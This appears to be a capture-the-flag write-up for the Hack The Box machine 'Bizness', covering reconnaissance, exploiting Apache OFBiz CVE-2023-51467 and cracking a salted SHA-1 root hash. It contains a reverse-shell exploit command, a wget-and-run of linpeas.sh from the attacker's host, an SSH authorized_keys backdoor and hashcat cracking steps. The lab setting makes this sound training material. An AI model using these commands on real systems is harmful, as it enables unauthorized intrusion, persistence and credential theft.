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🐒BIZNESS

Welcome, cyber adventurers! Embark on a thrilling journey through "Bizness" on Hack The Box (HTB) in this Open Beta 4 edition. As you gear up for adrenaline-pumping challenges, I extend my best wishes

Hacking Phases for Bizness HTB:

  1. Information Gathering

  2. Directory Enumeration

  3. Vulnerability Analysis

  4. Exploitation

  5. Privilege Escalation

Let's dive into the digital depths!

I => Information Gathering

Initial Reconnaissance

Our first maneuver involves deploying nmap for active port reconnaissance.

Command:

sudo nmap -p- --min-rate 10000 10.10.11.252

Result Snapshot:

  • Open Ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), 38621 (Unknown)

  • Host Discovery: bizness.htb (10.10.11.252) discovered with significant latency.

Action:

  • Redirected to https://bizness.htb. Updated our /etc/hosts file.

  • Initial website visit was inconclusive.

Visual Insight:

BIZNESS Homepage

II => Directory Enumeration

Uncovering Hidden Gems

Using dirsearch to reveal obscured paths.

Command:

dirsearch -q -u https://bizness.htb -i 200,300-399

Findings:

  • Discovered a login page at http://bizness.htb/control/login.

  • Apache OFBiz in use – a potential exploit target.

Visual Evidence:

dirsearch OUTPUTdirsearch OUTPUT
Login Page

III => Vulnerability Analysis

Identifying the Achilles' Heel

Discovered a critical CVE for Apache OFBiz - CVE-2023-51467, indicating Remote Code Execution (RCE).

Intel Source:

IV => Exploitation

Deploying the Cyber Arsenal

Found a repository tailor-made for exploiting this CVE.

Exploit Repository: CVE-2023-51467 Exploit

Gaining the Foothold

Exploit Execution:

python3 exploit.py https://bizness.htb/ shell <IP-tun0>:<PORT>

Result:

  • Successfully established a reverse shell.

Shell Stabilization:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Background the shell with ctrl + z, then:
stty raw -echo; fg
reset xterm

Victory Snapshot:

I'M IN

Achievement Unlocked: User Compromised

cat ~/user.txt
# User flag acquired

V => Privilege Escalation

Establishing a Strong hold

Command:

cd /home/ofbiz/
mkdir .ssh
echo [your_public_key] > ~/.ssh/authorized_keys

Secure Access:

ssh -i [private_key] ofbiz@bizness.htb

Privilege Escalation Attempts

Searching for SUID Files

Checked for exploitable SUID files.

Command:

find / -type f -perm /4000 2>/dev/null

Outcome:

  • No significant SUID files found.

Scanning for Internal Ports

Searched for listening internal ports.

Command:

netstat -ano

Outcome:

  • No notable internal ports detected.

Automated Scouting with LinPEAS

Deployed linpeas.sh for vulnerability scanning.

LinPEAS Deployment:

cd /tmp
wget http://<IP-tun0>:<port>/linpeas.sh
bash ./linpeas.sh

Further Analysis: Re-ran LinPEAS and saved output for detailed local analysis.

On the Target Machine:

bash ./linpeas.sh > /tmp/linpease.txt

On the Local Machine:

scp -i ~/.ssh/id_rsa ofbiz@bizness.htb:/tmp/linpease.txt ./

Outcome:

  • LinPEAS did not reveal significant leads, hinting at a potential rabbit hole.

Exploring Alternative Avenues

The Quest for Ultimate Power

The search for a direct escalation path was challenging, but persistence led to potential password clues.

Password Hunt:

grep -aRinH --color -o -E '(\w+\w+){0,5}password(\w+\w+){0,5}'

Discovery:

  • Files indicating password usage.

  • Encountered a SHA-1 hash and a .dat file revealing a Base64 encoded SHA1 structure.

Crucial Discovery:

Files indicating password usage.

I found this XML file and the hashed password.

SHA-1 password hashed

As you're aware, cracking the SHA was an insurmountable task without knowing the SALT value. Therefore, I embarked on a meticulous search through various files that contained password-related data, specifically looking for a pattern akin to (($SHA1)($SALT)($HASH))

$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

Encountered a SHA-1 hash and a .dat file revealing a Base64 encoded SHA1 structure.

SHA1 structure and value

Cracking the Hash

Python Script for Decryption: Script for SHA1 Decryption

Hashcat Strategy:

  • Converted from base64 using CyberChef for Hashcat compatibility. CyberChef

  • To effectively utilize Hashcat for our cracking purposes, a preliminary step of data refinement is necessary. This is due to the initial encoding using base64.urlsafe_b64encode(), which modifies certain characters - '/' becomes '_', and '+' is turned into '-'. To rectify this and prepare our data accurately for Hashcat, we'll employ the capabilities of CyberChef. This tool is adept at making the required character replacements and transforming our data into a hex format. This conversion is a critical process to ensure that the data is in the optimal format for our subsequent cracking procedures with Hashcat.

  • Hashcat command:

hashcat -m 120 -a 0 "b8fd3f41a541a435857a8f3e751cc3a91c174362:d" rockyou.txt

Eureka Moment: 

Root password is: monkeybizness

Final Triumph:

Command:

su root
# Enter the password 'monkeybizness'
cat /root/root.txt
# Root flag successfully captured

ANOTHER${IFS}SHITY${IFS}THING<<<SEE${IFS}YOU/:

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